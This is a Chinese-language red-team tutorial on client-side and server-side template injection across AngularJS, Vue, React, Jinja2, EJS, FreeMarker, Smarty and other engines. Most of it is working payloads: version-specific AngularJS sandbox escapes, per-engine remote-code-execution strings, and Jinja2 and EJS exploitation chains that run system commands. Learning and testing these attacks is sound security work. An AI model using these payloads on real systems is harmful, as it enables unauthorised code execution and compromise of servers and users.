目录
一、模板引擎概述
服务端 vs 客户端
| 类型 | 引擎 | 执行环境 | 主要威胁 |
|---|---|---|---|
| 客户端 | AngularJS, Vue, React(JSX) | 浏览器 | XSS, CSTI |
| 服务端 | Jinja2, Twig, EJS, Pug | 服务器 | SSTI → RCE |
| 同构 | Next.js, Nuxt | 两者 | 组合攻击 |
核心风险
模板注入的本质:用户输入被当作模板代码解析并执行。
正常:Hello {{ user.name }} → Hello Alice
攻击:Hello {{ 7*7 }} → Hello 49 (表达式被执行了!)
二、客户端模板注入 (CSTI)
核心原理
// 危险模式:用户输入拼接到模板
const template = '<div>Hello ' + userInput + '</div>'; // 拼接!
const result = templateEngine.compile(template)(data);
// 安全模式:输入作为数据
const template = '<div>Hello {{name}}</div>'; // 固定模板
const result = templateEngine.compile(template)({name: userInput});CSTI vs XSS
| CSTI | XSS | |
|---|---|---|
| 需要 | 否 | 通常需要 |
| CSP限制 | 可能绕过 | 受限 |
| 危害 | XSS同级(执行任意JS) | 会话窃取等 |
| 利用条件 | 模板注入点 | HTML注入点 |
通用检测方法
// 检测模板表达式是否被执行
// 输入:{{7*7}}
// 如果页面渲染 49 → 存在CSTI
// 输入:{{constructor.constructor('alert(1)')()}}
// 如果弹窗 → 严重CSTI三、AngularJS沙箱与绕过
AngularJS模板语法
<!-- 表达式 -->
<div>{{ 7 * 7 }}</div>
<!-- 指令 -->
<div ng-bind="expression"></div>
<div ng-init="a=1;b=2"></div>沙箱绕过历史
AngularJS 1.x 有多层沙箱保护,但被多次绕过:
v1.0.1 - v1.1.5:
{{constructor.constructor('alert(1)')()}}
v1.2.0 - v1.2.18:
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
v1.3.0 - v1.3.19:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}}
v1.4.0 - v1.4.8:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
v1.5.0 - v1.5.8:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
v1.6.0+:沙箱完全移除
Angular 1.6+ 不再有沙箱保护。任何 {{expression}} 都是潜在的CSTI。
Angular CSTI检测
# 基本探测
{{7*7}} → 如果页面显示49 = CSTI
{{constructor}} → 如果弹出[object Function] = 严重
# CSP绕过(在script-src 'self'下)
# Angular仍可执行表达式的JS
{{$on.constructor('alert(1)')()}}
# 通用利用(Angular 1.6+)
{{constructor.constructor('alert(1)')()}}
四、Vue.js模板注入
Vue模板系统
<!-- HTML模板 -->
<div id="app">
<p>{{ message }}</p>
<p v-html="rawHtml"></p> <!-- dangerous! -->
</div>
<script>
const app = new Vue({
data: {
message: 'Hello',
rawHtml: '<span style="color:red">Red Text</span>'
}
});
</script>Vue CSTI场景
场景1:v-html(已知危险)
<!-- 用户控制 rawHtml 的值 -->
<div v-html="userInput"></div>
<!-- 等同于 innerHTML -->场景2:动态模板编译
// 如果用户控制了 template 选项
new Vue({
template: '{{' + userInput + '}}', // 用户输入拼入模板
// userInput = constructor.constructor('alert(1)')()
});场景3:动态组件渲染
// 如果组件路径由用户控制
<component :is="userControlledComponent"></component>
// 可能导致未预期的组件实例化Vue SSR (服务端渲染)
// Nuxt.js / Vue SSR 增加了SSTI风险
// 用户输入在服务端被渲染为模板
const html = await renderer.renderToString(app);
// 如果数据中包含模板表达式,可能在服务端被执行五、React JSX注入
React的XSS防御
React默认对JSX中的所有插入内容进行HTML转义:
const userInput = '<img src=x onerror=alert(1)>';
return <div>{userInput}</div>;
// 渲染结果:<div><img src=x onerror=alert(1)></div>
// XSS被防止!dangerouslySetInnerHTML
// 唯一的React XSS入口
<div dangerouslySetInnerHTML={{__html: userInput}} />
// 如果 userInput 由用户控制 → DOM XSSReact中的CSTI风险
// 场景1:动态JSX(罕见但危险)
const Component = eval(`() => <div>${userInput}</div>`);
// 场景2:服务端的ReactDOMServer
// ReactDOMServer.renderToString() 在Node.js端
// 如果输入没有被转义,可能导致SSTI
// 场景3:与模板库混用
// 如果React页面嵌入了其他模板引擎的表达式六、服务端模板注入 (SSTI)
各引擎测试payload
| 引擎 | 测试 | RCE payload |
|---|---|---|
| Jinja2 (Python) | {{7*7}} | {{''.__class__.__mro__[2].__subclasses__()}} |
| Twig (PHP) | {{7*7}} | {{_self.env.registerUndefinedFilterCallback('exec')}} |
| EJS (Node) | <%= 7*7 %> | <%= process.mainModule.require('child_process').execSync('id') %> |
| Pug (Node) | #{7*7} | #{function(){localLoad=global.process.mainModule.constructor._load;...}() |
| FreeMarker (Java) | ${7*7} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex('id')} |
| Velocity (Java) | #set($x=7*7)$x | #set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))... |
| Smarty (PHP) | {7*7} | {system('id')} |
| Mako (Python) | ${7*7} | <% import os %>${os.popen('id').read()} |
Jinja2利用链
# 基础探测
{{ 7*7 }} # 49 —— 确认SSTI
# 读取配置
{{ config }} # Flask配置(可能含SECRET_KEY)
# Python对象遍历
{{ ''.__class__ }} # <class 'str'>
{{ ''.__class__.__mro__ }} # 继承链
{{ ''.__class__.__mro__[2] }} # <class 'object'>
# 寻找os模块
{{ ''.__class__.__mro__[2].__subclasses__() }} # 所有object子类
# 找到 <class 'subprocess.Popen'>
# 或 <class 'os._wrap_close'>
# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[X]('id', shell=True, stdout=-1).communicate() }}EJS利用链
// 基础
<%= 7*7 %>
// 全局对象
<%= global.process.mainModule.require('child_process').execSync('id') %>
// 污染链(EJS < 3.1.7)
// 1. 先污染 Object.prototype
// 2. 设置 outputFunctionName
Object.prototype.outputFunctionName =
"x;process.mainModule.require('child_process').execSync('id');s";七、检测与利用方法论
检测流程
1. 多项式探测
输入:{{7*7}} ${7*7} #{7*7} <%= 7*7 %> {{7*'7'}}
观察:是否被当作表达式执行
2. 错误探测
输入:{{undefined_var}} ${{<%[%'"}}%\
观察:错误消息中是否暴露了模板引擎名称
3. 上下文分析
输入出现在页面哪个位置?
- HTML内容中 → {{表达式}}
- 属性值中 → 先闭合引号
- JavaScript字符串中 → 先闭合字符串
4. 升级到RCE
根据引擎类型选择合适的利用链
Smarty SSTI检测树
# SSTI检测决策树
if 输入被当作表达式执行:
确定引擎类型
if Jinja2/Twig: → 对象遍历 → 子类枚举 → import os
if EJS/Pug: → process.mainModule → child_process
if FreeMarker: → Execute类 → Runtime.exec()
if Velocity: → Class.forName('java.lang.Runtime')
if Smarty: → {system('id')} 或 {php}system('id'){/php}八、红队视角总结
CSTI/SSTI攻击矩阵
| 引擎 | 环境 | 检测 | RCE难度 | 实战频率 |
|---|---|---|---|---|
| AngularJS 1.x | 客户端 | {{7*7}} | 低(1.6+无沙箱) | 高 |
| Vue v-html | 客户端 | HTML注入 | 低 | 高 |
| Jinja2 | 服务端 | {{7*7}} | 中 | 高 |
| Twig | 服务端 | {{7*7}} | 中 | 中 |
| EJS | 服务端 | <%= 7*7 %> | 中 | 中 |
| FreeMarker | 服务端 | ${7*7} | 低 | 中 |
| Pug | 服务端 | #{7*7} | 中 | 低 |
| React JSX | 客户端/服务端 | JSX注入 | 高 | 低 |
工具
| 工具 | 说明 |
|---|---|
| tplmap | 自动化SSTI检测和利用(Python) |
| SSTImap | Tplmap的现代替代品 |
| what-the-tpl | 模板引擎指纹识别 |
| Burp插件: Backslash Powered Scanner | 智能SSTI检测 |
返回 JavaScript 总目录 | 前端基础总目录